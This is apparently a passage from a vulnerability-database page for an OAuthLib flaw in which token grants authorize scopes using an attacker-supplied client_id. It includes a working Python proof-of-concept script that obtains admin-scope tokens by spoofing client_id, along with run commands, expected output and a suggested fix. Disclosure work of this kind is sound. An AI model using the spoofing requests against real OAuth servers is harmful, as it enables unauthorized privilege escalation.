[]\n\n def validate_user(self, username, password, client, request, *args, **kwargs):\n if username == \"alice\" and password == \"wonderland\":\n request.user = username\n return True\n return False\n\n def save_bearer_token(self, token, request, *args, **kwargs):\n self.saved_tokens.append({\n \"token\": dict(token),\n \"authenticated_client_id\": request.client.client_id,\n \"request_client_id\": request.client_id,\n \"scopes\": list(request.scopes or []),\n })\n\n\nvalidator = DemoValidator()\ntoken = BearerToken(validator, expires_in=3600)\nendpoint = TokenEndpoint(\n default_grant_type=\"client_credentials\",\n default_token_type=token,\n grant_types={\n \"client_credentials\": ClientCredentialsGrant(validator),\n \"password\": ResourceOwnerPasswordCredentialsGrant(validator),\n },\n)\n\n\ndef low_client_headers():\n value = base64.b64encode(b\"low:low-secret\").decode(\"ascii\")\n return {\"Authorization\": f\"Basic {value}\"}\n\n\ndef token_request(body):\n _headers, response_body, status = endpoint.create_token_response(\n \"https://auth.example/token\",\n body=body,\n headers=low_client_headers(),\n )\n return status, json.loads(response_body)\n\n\ndef assert_rejected(label, body):\n status, response = token_request(body)\n print(label, status, response)\n if status == 200:\n raise SystemExit(f\"{label}: expected rejection, got success\")\n\n\ndef assert_spoofed_success(label, body):\n status, response = token_request(body)\n print(label, status, response)\n if status != 200:\n raise SystemExit(f\"{label}: expected token, got {status} {response}\")\n if response.get(\"scope\") != \"admin\":\n raise SystemExit(f\"{label}: expected admin scope, got {response}\")\n\n saved = validator.saved_tokens[-1]\n if saved[\"authenticated_client_id\"] != \"low\":\n raise SystemExit(f\"{label}: authenticated client changed unexpectedly: {saved}\")\n if saved[\"request_client_id\"] != \"high\":\n raise SystemExit(f\"{label}: spoofed request client_id was not preserved: {saved}\")\n\n\nassert_rejected(\n \"control client_credentials as low requesting admin\",\n \"grant_type=client_credentials\u0026client_id=low\u0026scope=admin\",\n)\nassert_spoofed_success(\n \"spoofed client_credentials as low with client_id=high\",\n \"grant_type=client_credentials\u0026client_id=high\u0026scope=admin\",\n)\n\nassert_rejected(\n \"control password as low requesting admin\",\n \"grant_type=password\u0026client_id=low\u0026username=alice\u0026password=wonderland\u0026scope=admin\",\n)\nassert_spoofed_success(\n \"spoofed password as low with client_id=high\",\n \"grant_type=password\u0026client_id=high\u0026username=alice\u0026password=wonderland\u0026scope=admin\",\n)\n\nprint(\"OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\")\nprint(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))\n```\n\nRun:\n\n```bash\npython -m venv .venv\n. .venv/bin/activate\npython -m pip install -r requirements.txt\npython repro.py\n```\n\nExpected result:\n\n```text\ncontrol client_credentials as low requesting admin 400 {\u0027error\u0027: \u0027invalid_scope\u0027}\nspoofed client_credentials as low with client_id=high 200 {\u0027access_token\u0027: \u0027...\u0027, \u0027expires_in\u0027: 3600, \u0027token_type\u0027: \u0027Bearer\u0027, \u0027scope\u0027: \u0027admin\u0027}\ncontrol password as low requesting admin 400 {\u0027error\u0027: \u0027invalid_scope\u0027}\nspoofed password as low with client_id=high 200 {\u0027access_token\u0027: \u0027...\u0027, \u0027expires_in\u0027: 3600, \u0027token_type\u0027: \u0027Bearer\u0027, \u0027scope\u0027: \u0027admin\u0027, \u0027refresh_token\u0027: \u0027...\u0027}\nOAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\n```\n\nThe success condition is that both successful token responses are produced while the saved token state shows:\n\n```json\n{\n \"authenticated_client_id\": \"low\",\n \"request_client_id\": \"high\",\n \"scopes\": [\"admin\"]\n}\n```\n\nThat demonstrates that the authenticated client is `low`, while grant and scope authorization used the attacker-supplied `client_id=high`.\n\n## Suggested Remediation\n\nAfter client authentication succeeds, OAuthlib should reject a token request if an explicit request `client_id` is present and does not match `request.client.client_id`.\n\nFor authenticated confidential-client flows, a safer invariant is:\n\n```python\nif request.client is not None:\n if request.client_id is not None and request.client_id != request.client.client_id:\n raise InvalidClientError(...)\n request.client_id = request.client.client_id\n```\n\nThis should happen before `validate_grant_type()` and `validate_scopes()` are called.\n\nReporters:\n\n- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/\n- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/\n- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/\n- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/\n- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/",
"id": "BREW-duplicity-CVE-2026-118669",
"modified": "2026-10-31T08:43:02Z",
"published": "2026-10-31T08:43:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-118669"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/920"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OAuthLib: Token grants can use attacker-supplied client_id for authorization after authenticating a different client",
"upstream": [
"GHSA-7984-qgvg-3j9c",
"CVE-2026-118669"
]
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.